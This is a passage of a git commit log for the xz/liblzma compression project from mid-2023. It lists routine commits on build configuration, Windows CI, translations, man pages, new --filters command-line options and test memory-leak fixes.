--enable-small. + + CMakeLists.txt | 28 ++++++++++++++++++++-------- + 1 file changed, 20 insertions(+), 8 deletions(-) + +commit de574404c4c2f87aca049f232c38526e3ce092aa +Author: Jia Tan +Date: 2023-08-09 20:35:16 +0800 + + Build: Conditionally allow win95 threads and --enable-small. + + When the compiler supports __attribute__((__constructor__)) + mythread_once() is never used, even with --enable-small. A configuration + with win95 threads and --enable-small will compile and be thread safe so + it can be allowed. + + This isn't a very common configuration since MSVC does not support + __attribute__((__constructor__)), but MINGW32 and CLANG32 environments + for MSYS2 can use win95 threads and have + __attribute__((__constructor__)) support. + + configure.ac | 21 +++++++++++++-------- + 1 file changed, 13 insertions(+), 8 deletions(-) + +commit 6bf33b704cd31dccf25e68480464aa22d3fcad5a +Author: Jamaika1 +Date: 2023-08-08 14:07:59 +0200 + + mythread.h: Fix typo error in Vista threads mythread_once(). + + The "once_" variable was accidentally referred to as just "once". This + prevented building with Vista threads when + HAVE_FUNC_ATTRIBUTE_CONSTRUCTOR was not defined. + + src/common/mythread.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 80cb961e5380a3878246d41341ff91378ca59e05 +Author: Jia Tan +Date: 2023-08-04 22:17:11 +0800 + + codespell: Add .codespellrc to set default options. + + The .codespellrc allows setting default options to avoid false positive + matches, set additional dictionaries, etc. For now, codespell can be + used locally before committing doc and comment changes. + + It should help prevent silly errors and fix up commits in the future. + + .codespellrc | 24 ++++++++++++++++++++++++ + 1 file changed, 24 insertions(+) + +commit cd678a6077358935249b64a4a16fe8d17434f9c9 +Author: Jia Tan +Date: 2023-08-03 20:10:21 +0800 + + Tests: Style fixes to test_lzip_decoder.c. + + tests/test_lzip_decoder.c | 36 ++++++++++++++++++++++++------------ + 1 file changed, 24 insertions(+), 12 deletions(-) + +commit 1cac5ed4fa45c9861d745b02d80575cb2ff01d81 +Author: Jia Tan +Date: 2023-08-03 15:56:20 +0800 + + Translations: Update the Chinese (simplified) translation. + + po/zh_CN.po | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 16068f6c30b888cdb873f6285af941d00f95741d +Author: Lasse Collin +Date: 2023-08-02 17:15:12 +0300 + + xz: Omit an empty paragraph on the man page. + + src/xz/xz.1 | 1 - + 1 file changed, 1 deletion(-) + +commit 9ae4371b5106189486e850ce777e40f7b6021c0b +Author: Jia Tan +Date: 2023-08-02 20:30:07 +0800 + + Add NEWS for 5.4.4. + + NEWS | 43 +++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 43 insertions(+) + +commit e8c2203b2c76466d8d3387c5212b46151de8e605 +Author: Lasse Collin +Date: 2023-08-02 15:19:43 +0300 + + build-aux/manconv.sh: Fix US-ASCII and UTF-8 output. + + groff defaults to SGR escapes. Using -P-c passes -c to grotty + which restores the old behavior. Perhaps there is a better way to + get pure plain text output but this works for now. + + build-aux/manconv.sh | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 9a706167b0d903d92fd134895acb4bc6a5e3e688 +Author: Lasse Collin +Date: 2023-08-01 19:10:43 +0300 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 33e25a0f5650754c38bed640deedefe3b4fec5ef +Author: Lasse Collin +Date: 2023-08-01 18:22:24 +0300 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 81db3b889830132334d1f2129bdc93177ac2ca7d +Author: ChanTsune <41658782+ChanTsune@users.noreply.github.com> +Date: 2023-08-01 18:17:17 +0300 + + mythread.h: Disable signal functions in builds targeting Wasm + WASI. + + signal.h in WASI SDK doesn't currently provide sigprocmask() + or sigset_t. liblzma doesn't need them so this change makes + liblzma and xzdec build against WASI SDK. xz doesn't build yet + and the tests don't either as tuktest needs setjmp() which + isn't (yet?) implemented in WASI SDK. + + Closes: https://github.com/tukaani-project/xz/pull/57 + See also: https://github.com/tukaani-project/xz/pull/56 + + (The original commit was edited a little by Lasse Collin.) + + src/common/mythread.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 71c638c611324e606d324c8189fef8fe79db6991 +Author: Jia Tan +Date: 2023-08-01 21:58:51 +0800 + + Add newline to end of .gitignore. + + Newline was accidentally removed in commit + 01cbb7f023ee7fda8ddde04bd17cf7d3c2418706. + + .gitignore | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 42df7c7aa1cca385e509eb33c65136e61890f0bf +Author: Dimitri Papadopoulos Orfanos <3234522+DimitriPapadopoulos@users.noreply.github.com> +Date: 2023-07-31 14:02:21 +0200 + + Docs: Fix typos found by codespell + + CMakeLists.txt | 4 ++-- + NEWS | 2 +- + configure.ac | 2 +- + src/liblzma/api/lzma/container.h | 4 ++-- + src/liblzma/api/lzma/filter.h | 2 +- + src/liblzma/api/lzma/lzma12.h | 4 ++-- + src/liblzma/common/block_buffer_encoder.c | 2 +- + src/liblzma/common/common.h | 2 +- + src/liblzma/common/file_info.c | 2 +- + src/liblzma/common/lzip_decoder.c | 2 +- + src/liblzma/common/stream_decoder_mt.c | 8 ++++---- + src/liblzma/common/string_conversion.c | 6 +++--- + src/liblzma/lz/lz_encoder.h | 2 +- + src/liblzma/lzma/lzma_encoder.c | 4 ++-- + src/xz/hardware.c | 4 ++-- + tests/test_filter_flags.c | 4 ++-- + tests/test_index.c | 2 +- + tests/test_vli.c | 2 +- + 18 files changed, 29 insertions(+), 29 deletions(-) + +commit 01cbb7f023ee7fda8ddde04bd17cf7d3c2418706 +Author: Jia Tan +Date: 2023-07-26 20:26:23 +0800 + + Update .gitignore. + + .gitignore | 4 ++++ + 1 file changed, 4 insertions(+) + +commit f97a1afd564c48ad9cb94682e10972a72e11fa08 +Author: Jia Tan +Date: 2023-07-28 22:03:08 +0800 + + CMake: Conditionally allow the creation of broken symlinks. + + The CMake build will try to create broken symlinks on Unix and Unix-like + platforms. Cygwin and MSYS2 are Unix-like, but may not be able to create + broken symlinks. The value of the CYGWIN or MSYS environment variables + determine if broken symlinks are valid. + + The default for MSYS2 does not allow for broken symlinks, so the CMake + build has been broken for MSYS2 since commit + 80a1a8bb838842a2be343bd88ad1462c21c5e2c9. + + CMakeLists.txt | 82 +++++++++++++++++++++++++++++++++++++++++++++++++++++----- + 1 file changed, 75 insertions(+), 7 deletions(-) + +commit 7190f4cc7c9ade5b9b3675d0cbfa3b6d6ec9cb4f +Author: Jia Tan +Date: 2023-07-28 21:56:48 +0800 + + CI: Fix windows-ci dependency installation. + + All of the MSYS2 environments need make, and it does not come with the + toolchain package. The toolchain package will install the needed + compiler toolchains since without this package CMake cannot properly + generate the Makefiles. + + .github/workflows/windows-ci.yml | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit a048f472cd9a2245265cb292853cbbcdd4f02001 +Author: Jia Tan +Date: 2023-07-28 21:54:22 +0800 + + CI: Update ci_build.sh CMake to always make Unix Makefiles. + + The default for many of the MSYS2 environments is for CMake to create + Ninja build files. This would complicate the build script since we would + need a different command to run the tests. Its simpler to always use + Unix Makefiles so that "make test" is always a usable target for + testing. + + build-aux/ci_build.sh | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 7870396a0ca945473aa0d1d790f4cbef456610bd +Author: Jia Tan +Date: 2023-07-25 20:17:23 +0800 + + CI: Test CMake builds and test framework with MSYS2. + + .github/workflows/windows-ci.yml | 32 ++++++++++++++++++++------------ + 1 file changed, 20 insertions(+), 12 deletions(-) + +commit 6497d1f8875cb7e3007f714336cc09c06fed235b +Author: Jia Tan +Date: 2023-07-25 20:14:53 +0800 + + CI: Windows CI rename system matrix variable -> msys2_env. + + Calling the MSYS2 environment "system" was a bit vague and should be + more specific. + + .github/workflows/windows-ci.yml | 15 +++++---------- + 1 file changed, 5 insertions(+), 10 deletions(-) + +commit 785e4121d9b2921ad36bd3af1cf61fa20a9265bd +Author: Jia Tan +Date: 2023-07-24 23:11:45 +0800 + + CI: Add Clang64 MSYS2 environment to Windows CI. + + .github/workflows/windows-ci.yml | 1 + + 1 file changed, 1 insertion(+) + +commit d9166b52cf3458a4da3eb92224837ca8fc208d79 +Author: Jia Tan +Date: 2023-07-24 21:43:44 +0800 + + liblzma: Prevent an empty translation unit in Windows builds. + + To workaround Automake lacking Windows resource compiler support, an + empty source file is compiled to overwrite the resource files for static + library builds. Translation units without an external declaration are + not allowed by the C standard and result in a warning when used with + -Wempty-translation-unit (Clang) or -pedantic (GCC). + + src/liblzma/Makefile.am | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +commit db5019d691f980d622fb56fdcf383af2c3519c98 +Author: Jia Tan +Date: 2023-07-22 18:37:56 +0800 + + Translations: Update the Vietnamese translation. + + po/vi.po | 45 ++++++++++++++++++++++++++++----------------- + 1 file changed, 28 insertions(+), 17 deletions(-) + +commit f3a055f762ba5b71b746fc2d44a6ababde2c61b5 +Author: Jia Tan +Date: 2023-07-22 14:55:42 +0800 + + CI: Add Windows runner for Autotools builds with MSYS2. + + Only a subset of the tests run by the Linux and MacOS Autotools builds + are run. The most interesting tests are the ones that disable threads, + encoders, and decoders. + + The Windows runner will only be run manually since these tests will + likely take much longer than the Linux and MacOS runners. This runner + should be used before merging any large features and before releases. + + Currently the clang64 environment fails to due to a warning and + -Werror is enabled for the CI tests. This is still an early version + since the CMake build can be done for MSVC and optionally each of the + MSYS2 environments. GitHub does not allow manually running the CI tests + unless the workflow is checked on the default branch so checking in a + minimum version is a good idea. + + Thanks to Arthur S for the original proposing the original patch. + + Closes: https://github.com/tukaani-project/xz/pull/34 + + .github/workflows/windows-ci.yml | 119 +++++++++++++++++++++++++++++++++++++++ + 1 file changed, 119 insertions(+) + +commit 556536a3525df9e5ed78b8c7057991cfa9edfac8 +Author: Jia Tan +Date: 2023-07-21 22:11:01 +0800 + + CI: Add argument to ci_build.sh to pass flags to autogen.sh. + + build-aux/ci_build.sh | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +commit 39a32d36fc465c4e70f13192eea380e518ba6e8a +Author: Jia Tan +Date: 2023-07-21 18:05:44 +0800 + + Tests: Skip .lz files in test_files.sh if not configured. + + Previously if the lzip decoder was not configured then test_files.sh + would pass the lzip tests instead of skipping them. + + tests/test_files.sh | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 194d12724b30fe42789d12a0184f9d412c449347 +Author: Jia Tan +Date: 2023-07-20 22:11:13 +0800 + + Tests: Add ARM64 filter test to test_compress.sh. + + tests/test_compress.sh | 1 + + 1 file changed, 1 insertion(+) + +commit d850365c444368102c69beaddf849ed463c33467 +Author: Jia Tan +Date: 2023-07-20 20:30:05 +0800 + + Translations: Update the Croatian translation. + + po/hr.po | 49 ++++++++++++++++++++++++++++++------------------- + 1 file changed, 30 insertions(+), 19 deletions(-) + +commit 24049eb7acf6d42a60f00efe4e7289fe8e1797fe +Author: Jia Tan +Date: 2023-07-20 20:28:32 +0800 + + Translations: Update the Korean man page translations. + + po4a/ko.po | 1255 ++++++++++++++++++++++++++++++------------------------------ + 1 file changed, 629 insertions(+), 626 deletions(-) + +commit 4d4a4fa07de6cb9d913fb2f97712fddda2527b49 +Author: Jia Tan +Date: 2023-07-20 20:25:24 +0800 + + Translations: Update the Korean translation. + + po/ko.po | 45 ++++++++++++++++++++++++++++----------------- + 1 file changed, 28 insertions(+), 17 deletions(-) + +commit 237f06d9c55cf438a7538a598354bcf103f23711 +Author: Jia Tan +Date: 2023-07-20 20:24:05 +0800 + + Translations: Update the Polish translation. + + po/pl.po | 47 +++++++++++++++++++++++++++++------------------ + 1 file changed, 29 insertions(+), 18 deletions(-) + +commit 80c2c832136656d5ac7a1bca8bc42d95e13d281a +Author: Jia Tan +Date: 2023-07-20 20:22:23 +0800 + + Translations: Update the German man page translations. + + po4a/de.po | 1255 ++++++++++++++++++++++++++++++------------------------------ + 1 file changed, 629 insertions(+), 626 deletions(-) + +commit fdbde14503ca03069d3649aa51926f5f796b89d8 +Author: Jia Tan +Date: 2023-07-20 20:18:44 +0800 + + Translations: Update the German translation. + + po/de.po | 47 +++++++++++++++++++++++++++++------------------ + 1 file changed, 29 insertions(+), 18 deletions(-) + +commit 9f3bf5ff5b2b5cf0b252a2bf381238ca49dc4101 +Author: Jia Tan +Date: 2023-07-20 20:17:10 +0800 + + Translations: Update the Chinese (simplified) translation. + + po/zh_CN.po | 47 +++++++++++++++++++++++++++++------------------ + 1 file changed, 29 insertions(+), 18 deletions(-) + +commit 376938c588011567c74f1d5a160c0ccce6336d46 +Author: Jia Tan +Date: 2023-07-20 20:15:47 +0800 + + Translations: Update the Swedish translation. + + po/sv.po | 47 +++++++++++++++++++++++++++++------------------ + 1 file changed, 29 insertions(+), 18 deletions(-) + +commit 26b0bc6eb82c84559936a7c7080de5c71c8276f8 +Author: Jia Tan +Date: 2023-07-20 20:14:00 +0800 + + Translations: Update the Ukrainian man page translations. + + po4a/uk.po | 1253 ++++++++++++++++++++++++++++++------------------------------ + 1 file changed, 628 insertions(+), 625 deletions(-) + +commit 2d02c8b7640b54f3c5aa1c8b5990ba56f322393b +Author: Jia Tan +Date: 2023-07-20 20:09:15 +0800 + + Translations: Update the Ukrainian translation. + + po/uk.po | 45 ++++++++++++++++++++++++++++----------------- + 1 file changed, 28 insertions(+), 17 deletions(-) + +commit f881018b503fd334331c24a09075429558abbce1 +Author: Jia Tan +Date: 2023-07-20 20:06:57 +0800 + + Translations: Update the Spanish translation. + + po/es.po | 47 +++++++++++++++++++++++++++++------------------ + 1 file changed, 29 insertions(+), 18 deletions(-) + +commit 791fe6d3ffd6877fa5f852be69d9251397dfaa31 +Author: Jia Tan +Date: 2023-07-20 20:05:19 +0800 + + Translations: Update the Romanian translation. + + po/ro.po | 48 ++++++++++++++++++++++++++++++------------------ + 1 file changed, 30 insertions(+), 18 deletions(-) + +commit 8827e90704f699fe08bb5bed56b1717a2bc0eb77 +Author: Jia Tan +Date: 2023-07-20 20:02:56 +0800 + + Translations: Update the Romanian man page translations. + + po4a/ro.po | 1254 ++++++++++++++++++++++++++++++------------------------------ + 1 file changed, 629 insertions(+), 625 deletions(-) + +commit 0184d344fa4f215cd345bb131db9068e077c69b8 +Author: Jia Tan +Date: 2023-07-19 23:36:00 +0800 + + liblzma: Suppress -Wunused-function warning. + + Clang 16.0.0 and earlier have a bug that the ifunc resolver function + triggers the -Wunused-function warning. The resolver function is static + and only "used" by the __attribute__((__ifunc()__)). + + At this time, the bug is still unresolved, but has been reported: + https://github.com/llvm/llvm-project/issues/63957 + + This is not a problem in GCC. + + src/liblzma/check/crc64_fast.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +commit 43845fa70fc751736c44c18f4cee42d49bfd1392 +Author: Jia Tan +Date: 2023-07-18 22:52:25 +0800 + + liblzma: Reword lzma_str_list_filters() documentation. + + This further improves the documentation from commit + f36ca7982f6bd5e9827219ed4f3c5a1fbf5d7bdf. The previous wording of + "supported options" was slightly misleading since the options that are + printed are the ones that are relevant for encoding/decoding. It is not + about which options can or must be specified. + + src/liblzma/api/lzma/filter.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 818701ba1c9dff780b7fbf28f9ab8eb11a25dd67 +Author: Jia Tan +Date: 2023-07-18 22:49:57 +0800 + + liblzma: Improve comment in string_conversion.c. + + The comment used "flag" when referring to decoder options. Just + referring to them as options is more clear and consistent. + + src/liblzma/common/string_conversion.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit b6b7d065853cd4c3f5b8d9be8aea0b6dcb0fe090 +Author: Lasse Collin +Date: 2023-07-18 17:37:33 +0300 + + xz: Translate the second "%s: " in message.c since French needs "%s : ". + + This string is used to print a filename when using "xz -v" and + stderr isn't a terminal. + + src/xz/message.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit be644042c3066d8e7a2834f989671ba74d27f749 +Author: Lasse Collin +Date: 2023-07-18 14:35:33 +0300 + + xz: Make "%s: %s" translatable because French needs "%s : %s". + + src/xz/args.c | 5 ++++- + src/xz/coder.c | 8 ++++---- + src/xz/file_io.c | 8 ++++---- + src/xz/list.c | 11 ++++++----- + 4 files changed, 18 insertions(+), 14 deletions(-) + +commit 97fd5cb669ee0afc48d2087675ab166aff89eaa2 +Author: Lasse Collin +Date: 2023-07-18 13:57:54 +0300 + + liblzma: Tweak #if condition in memcmplen.h. + + Maybe ICC always #defines _MSC_VER on Windows but now + it's very clear which code will get used. + + src/liblzma/common/memcmplen.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 40392c19f71985852d75997f109dea97177d6f3f +Author: Lasse Collin +Date: 2023-07-18 13:49:43 +0300 + + liblzma: Omit unnecessary parenthesis in a preprocessor directive. + + src/liblzma/common/memcmplen.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit abc1d5601b7e419ebc28a1ab4b268613b52e6f98 +Author: Jia Tan +Date: 2023-07-18 00:51:48 +0800 + + xz: Update Authors list in a few files. + + src/xz/args.c | 3 ++- + src/xz/args.h | 3 ++- + src/xz/coder.c | 3 ++- + src/xz/coder.h | 3 ++- + src/xz/message.c | 3 ++- + 5 files changed, 10 insertions(+), 5 deletions(-) + +commit 289034a168878baa9df6ff6e159110aade69cba5 +Author: Jia Tan +Date: 2023-07-14 23:20:33 +0800 + + Docs: Add a new section to INSTALL for Tests. + + The new Tests section describes basic information about the tests, how + to run them, and important details when cross compiling. We have had a + few questions about how to compile the tests without running them, so + hopefully this information will help others with the same question in the + future. + + Fixes: https://github.com/tukaani-project/xz/issues/54 + + INSTALL | 81 +++++++++++++++++++++++++++++++++++++++++++++++++++-------------- + 1 file changed, 64 insertions(+), 17 deletions(-) + +commit 1119e5f5a519b0ab71c81fc4dc84c0cc72abe513 +Author: Jia Tan +Date: 2023-07-14 21:10:27 +0800 + + Docs: Update README. + + This adds an entry to "Other implementations of the .xz format" for + XZ for Java. + + README | 4 ++++ + 1 file changed, 4 insertions(+) + +commit f99e2e4e53b7ea89e4eef32ddd4882e0416357c9 +Author: Jia Tan +Date: 2023-07-13 23:32:10 +0800 + + xz: Fix typo in man page. + + The Memory limit information section described three output + columns when it actually has six. This was reworded to + "multiple" to make it more future proof. + + src/xz/xz.1 | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit f907705eb1f6c5edaafc9668a34c51a989932f1d +Author: Jia Tan +Date: 2023-07-13 21:46:12 +0800 + + xz: Minor clean up for coder.c + + * Moved max_block_list_size from a global to local variable. + * Reworded error message in validate_block_list_filter(). + * Removed helper function filter_chain_error(). + * Changed 1 << X to 1U << X in many places + + src/xz/coder.c | 53 +++++++++++++++++++++-------------------------------- + 1 file changed, 21 insertions(+), 32 deletions(-) + +commit 9adc9e56157ecbf2948e5036df8567809b9ae177 +Author: Jia Tan +Date: 2023-07-13 21:26:47 +0800 + + xz: Update man page Authors and date. + + src/xz/xz.1 | 5 +++-- + 1 file changed, 3 insertions(+), 2 deletions(-) + +commit c12e429f2635da8d8f5749e5f733f451baca6945 +Author: Jia Tan +Date: 2023-06-20 20:32:59 +0800 + + xz: Add a section to man page for robot mode --filters-help. + + src/xz/xz.1 | 32 ++++++++++++++++++++++++++++++-- + 1 file changed, 30 insertions(+), 2 deletions(-) + +commit e10f2db5d10300c16fa482a136ed31c1aa6e8e8d +Author: Jia Tan +Date: 2023-06-19 23:11:41 +0800 + + xz: Slight reword in xz man page for consistency. + + Changed will print => prints in xz --robot --version description to + match --robot --info-memory description. + + src/xz/xz.1 | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit f5dc172a402fa946f3c45a16929d7fe14c9f5e81 +Author: Jia Tan +Date: 2023-06-19 23:07:10 +0800 + + xz: Reorder robot mode subsections in the man page. + + The order is now consistent with the order the command line arguments + are documented earlier in the man page. The new order is: + 1. --list + 2. --info-memory + 3. --version + + Instead of the previous order: + 1. --version + 2. --info-memory + 3. --list + + src/xz/xz.1 | 192 ++++++++++++++++++++++++++++++------------------------------ + 1 file changed, 96 insertions(+), 96 deletions(-) + +commit 9628be23aef2784249fd9f3199799d785d2ec5cc +Author: Jia Tan +Date: 2023-05-13 00:46:50 +0800 + + xz: Update man page for new --filters-help option. + + src/xz/xz.1 | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +commit a165d7df1964121eb9df715e6f836a31c865beef +Author: Jia Tan +Date: 2023-05-13 00:44:41 +0800 + + xz: Add a new --filters-help option. + + The --filters-help can be used to help create filter chains with the + --filters and --filtersX options. The message in --long-help is too + short to fully explain the syntax to construct complex filter chains. + + In --robot mode, xz will only print the output from liblzma function + lzma_str_list_filters. + + src/xz/args.c | 8 ++++++++ + src/xz/message.c | 30 ++++++++++++++++++++++++++++++ + src/xz/message.h | 5 +++++ + 3 files changed, 43 insertions(+) + +commit 95f1a414b156ee35d3e71862a14915fdd138f913 +Author: Jia Tan +Date: 2023-04-21 20:28:11 +0800 + + xz: Update the man page for --block-list and --filtersX + + The --block-list option description needed updating since the new + --filtersX option changes how it can be used. The new entry for + --filters1=FILTERS ... --filter9=FILTERS was created right after + the --filters option. + + src/xz/xz.1 | 106 +++++++++++++++++++++++++++++++++++++++++++++--------------- + 1 file changed, 80 insertions(+), 26 deletions(-) + +commit 47a63cad2aa778280e0c1926b7159427ea028cb1 +Author: Jia Tan +Date: 2023-04-21 19:50:14 +0800 + + xz: Update --long-help for the new --filtersX option. + + src/xz/message.c | 12 ++++++++++-- + 1 file changed, 10 insertions(+), 2 deletions(-) + +commit 8b9913a13daca2550d02dfdcdc9be15f55ca4d13 +Author: Jia Tan +Date: 2023-06-17 20:46:21 +0800 + + xz: Ignore filter chains that are set but never used in --block-list. + + If a filter chain is set but not used in --block-list, it introduced + unexpected behavior such as requiring an unneeded amount of memory to + compress, reducing the number of threads in multi-threaded encoding, and + printing an incorrect amount of memory needed to decompress. + + This also renames filters_init_mask => filters_used_mask. A filter is + assumed to be used if it is specified in --filtersX until + coder_set_compression_settings() determines which filters are referenced + in --block-list. + + src/xz/coder.c | 66 ++++++++++++++++++++++++++++++++++++++++++---------------- + 1 file changed, 48 insertions(+), 18 deletions(-) + +commit 183819bfd9efac8c184d9bf123325719b7eee30f +Author: Jia Tan +Date: 2023-05-13 20:11:13 +0800 + + xz: Set the Block size for mt encoding correctly. + + When opt_block_size is not used, the Block size for mt encoder is + derived from the minimum of the largest Block specified by + --block-list and the recommended Block size on all filter chains + calculated by lzma_mt_block_size(). This avoids using unnecessary + memory and ensures that all Blocks are large enough for the most memory + needy filter chain. + + src/xz/coder.c | 68 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++- + 1 file changed, 67 insertions(+), 1 deletion(-) + +commit afb2dbec3d857b026486b75e42a4728e12d234cb +Author: Jia Tan +Date: 2023-05-11 00:09:41 +0800 + + xz: Validate --flush-timeout for all specified filter chains. + + src/xz/coder.c | 24 ++++++++++++++++-------- + 1 file changed, 16 insertions(+), 8 deletions(-) + +commit 5f0c5a04388f8334962c70bc37a8c2ff8f605e0a +Author: Jia Tan +Date: 2023-05-13 19:54:33 +0800 + + xz: Allows --block-list filters to scale down memory usage. + + Previously, only the default filter chain could have its memory usage + adjusted. The filter chains specified with --filtersX were not checked + for memory usage. Now, all used filter chains will be adjusted if + necessary. + + src/xz/coder.c | 269 +++++++++++++++++++++++++++++++++++++++++++++------------ + 1 file changed, 214 insertions(+), 55 deletions(-) + +commit 479fd58d60622331fcbe48fddf756927b9f80d9a +Author: Jia Tan +Date: 2023-05-10 21:50:33 +0800 + + xz: Do not include block splitting if encoders are disabled. + + The block splitting logic and split_block() function are not needed if + encoders are disabled. This will help slightly reduce the binary size + when built without encoders and allow split_block() to use functions + that require encoders being enabled. + + src/xz/coder.c | 29 ++++++++++++++++++++--------- + 1 file changed, 20 insertions(+), 9 deletions(-) + +commit f86ede22500f7ae024ec3ec3f3489ab5a857a3b3 +Author: Jia Tan +Date: 2023-05-10 22:38:59 +0800 + + xz: Free filters[] in debug mode. + + This will only free filter chains created with --filters1-9 since the + default filter chain may be set from a static function variable. The + complexity to free the default filter chain is not worth the burden on + code maintenance. + + src/xz/coder.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +commit f281cd0d692ac0c70fc7669b80dddb863ea947e1 +Author: Jia Tan +Date: 2023-05-13 19:28:23 +0800 + + xz: Add a message if --block-list is used outside of xz compresssion. + + --block-list is only supported with compression in xz format. This avoids + silently ignoring when --block-list is unused. + + src/xz/args.c | 11 +++++++++++ + 1 file changed, 11 insertions(+) + +commit d6af7f347077b22403133239592e478931307759 +Author: Jia Tan +Date: 2023-04-18 20:29:09 +0800 + + xz: Create command line options for filters[1-9]. + + The new command line options are meant to be combined with --block-list. + They work as an optional extension to --block-list to specify a custom + filter chain for each block listed. The new options allow the creation + of up to 9 reusable filter chains. For instance: + + xz --block-list=1:10MiB,3:5MiB,,2:5MiB,1:0 --filters1=delta--lzma2 \ + --filters2=x86--lzma2 --filters3=arm64--lzma2 + + Will create the following blocks: + 1. A block of size 10 MiB with filter chain delta, lzma2. + 2. A block of size 5 MiB with filter chain arm64, lzma2. + 3. A block of size 5 MiB with filter chain arm64, lzma2. + 4. A block of size 5 MiB with filter chain x86, lzma2. + 5. A block containing the rest of the file contents with filter chain + delta, lzma2. + + src/xz/args.c | 82 ++++++++++++++++++++++--- + src/xz/coder.c | 188 ++++++++++++++++++++++++++++++++++++++++++--------------- + src/xz/coder.h | 20 +++++- + 3 files changed, 230 insertions(+), 60 deletions(-) + +commit 072d29250113268536719ad0e040ab8a66fb6435 +Author: Jia Tan +Date: 2023-05-13 19:36:09 +0800 + + xz: Use lzma_filters_free() in forget_filter_chain(). + + This is a little cleaner than the previous implementation of + forget_filter_chain(). It is also more consistent since + lzma_str_to_filters() will always terminate the filter chain so there + is no need to terminate it later in coder_set_compression_settings(). + + src/xz/coder.c | 18 ++++++++++-------- + 1 file changed, 10 insertions(+), 8 deletions(-) + +commit 3d21da5cff4b511633cb6e0d8a1090485c0c1059 +Author: Jia Tan +Date: 2023-04-17 22:22:45 +0800 + + xz: Separate string to filter conversion into a helper function. + + Converting from string to filter will also need to be done for block + specific filter chains. + + src/xz/coder.c | 33 ++++++++++++++++++++------------- + 1 file changed, 20 insertions(+), 13 deletions(-) + +commit a6583726e5f950278f96abcf79c04f1056810be6 +Author: Jia Tan +Date: 2023-01-06 00:03:35 +0800 + + Tests: Use new --filters option in test_compress.sh + + tests/test_compress.sh | 20 ++++++++++---------- + 1 file changed, 10 insertions(+), 10 deletions(-) + +commit 5f3b898d07cc9b7160c7c88b3120b7edabb8a5b0 +Author: Jia Tan +Date: 2023-01-06 00:03:06 +0800 + + xz: Update --long-help and man page for new --filters option. + + src/xz/message.c | 6 ++++++ + src/xz/xz.1 | 41 ++++++++++++++++++++++++++++++++++++----- + 2 files changed, 42 insertions(+), 5 deletions(-) + +commit 9ded880a0221f4d1256845fc4ab957ffd377c760 +Author: Jia Tan +Date: 2023-01-06 00:02:29 +0800 + + xz: Add --filters option to CLI. + + The --filters option uses the new lzma_str_to_filters() function + to convert a string into a full filter chain. Using this option + will reset all previous filters set by --preset, --[filter], or + --filters. + + src/xz/args.c | 9 +++++++-- + src/xz/coder.c | 50 ++++++++++++++++++++++++++++++++++++++++++++++++-- + src/xz/coder.h | 3 +++ + 3 files changed, 58 insertions(+), 4 deletions(-) + +commit 2c189bb00af73dc7ba1a67a9d274d5be03ee3a88 +Author: Jia Tan +Date: 2023-07-14 21:30:25 +0800 + + Tests: Improve feature testing for skipping. + + Fixed a bug where test_compress_* would all fail if arm64 or armthumb + filters were enabled for compression but arm was disabled. Since the + grep tests only checked for "define HAVE_ENCODER_ARM", this would match + on HAVE_ENCODER_ARM64 or HAVE_ENCODER_ARMTHUMB. + + Now the config.h feature test requires " 1" at the end to prevent the + prefix problem. have_feature() was also updated for this even though + there were known current bugs affecting it. This is just in case future + features have a similar prefix problem. + + tests/test_compress.sh | 4 ++-- + tests/test_files.sh | 2 +- + 2 files changed, 3 insertions(+), 3 deletions(-) + +commit 80a6b9bcad016c99c9ba3f3eeb4a619fcadfd357 +Author: Jia Tan +Date: 2023-07-10 20:56:28 +0800 + + Translations: Update the Chinese (traditional) translation. + + po/zh_TW.po | 659 ++++++++++++++++++++++++++++++++++-------------------------- + 1 file changed, 377 insertions(+), 282 deletions(-) + +commit 17f8844e6fc355abf997d77637a7447c4f7bbcbd +Author: Jia Tan +Date: 2023-07-08 21:24:19 +0800 + + liblzma: Remove non-portable empty initializer. + + Commit 78704f36e74205857c898a351c757719a6c8b666 added an empty + initializer {} to prevent a warning. The empty initializer is a GNU + extension and results in a build failure on MSVC. The -wpedantic flag + warns about empty initializers. + + src/liblzma/common/stream_encoder_mt.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 3aca4f629cd577f0c54f594d5d88722edf0b0413 +Author: Jia Tan +Date: 2023-07-08 20:03:59 +0800 + + Translations: Update the Vietnamese translation. + + po/vi.po | 620 +++++++++++++++++++++++++++++++++++---------------------------- + 1 file changed, 349 insertions(+), 271 deletions(-) + +commit 66bdcfa85fef2911cc80f5f30fed3f9610faccb4 +Author: Jia Tan +Date: 2023-06-28 20:46:31 +0800 + + Tests: Fix memory leaks in test_index. + + Several tests were missing calls to lzma_index_end() to clean up the + lzma_index structs. The memory leaks were discovered by using + -fsanitize=address with GCC. + + tests/test_index.c | 11 +++++++++++ + 1 file changed, 11 insertions(+) + +commit fe3bd438fb119f9bad3f08dc29d331e4956196e1 +Author: Jia Tan +Date: 2023-06-28 20:43:29 +0800 + + Tests: Fix memory leaks in test_block_header. + + test_block_header was not properly freeing the filter options between + calls to lzma_block_header_decode(). The memory leaks were discovered by + using -fsanitize=address 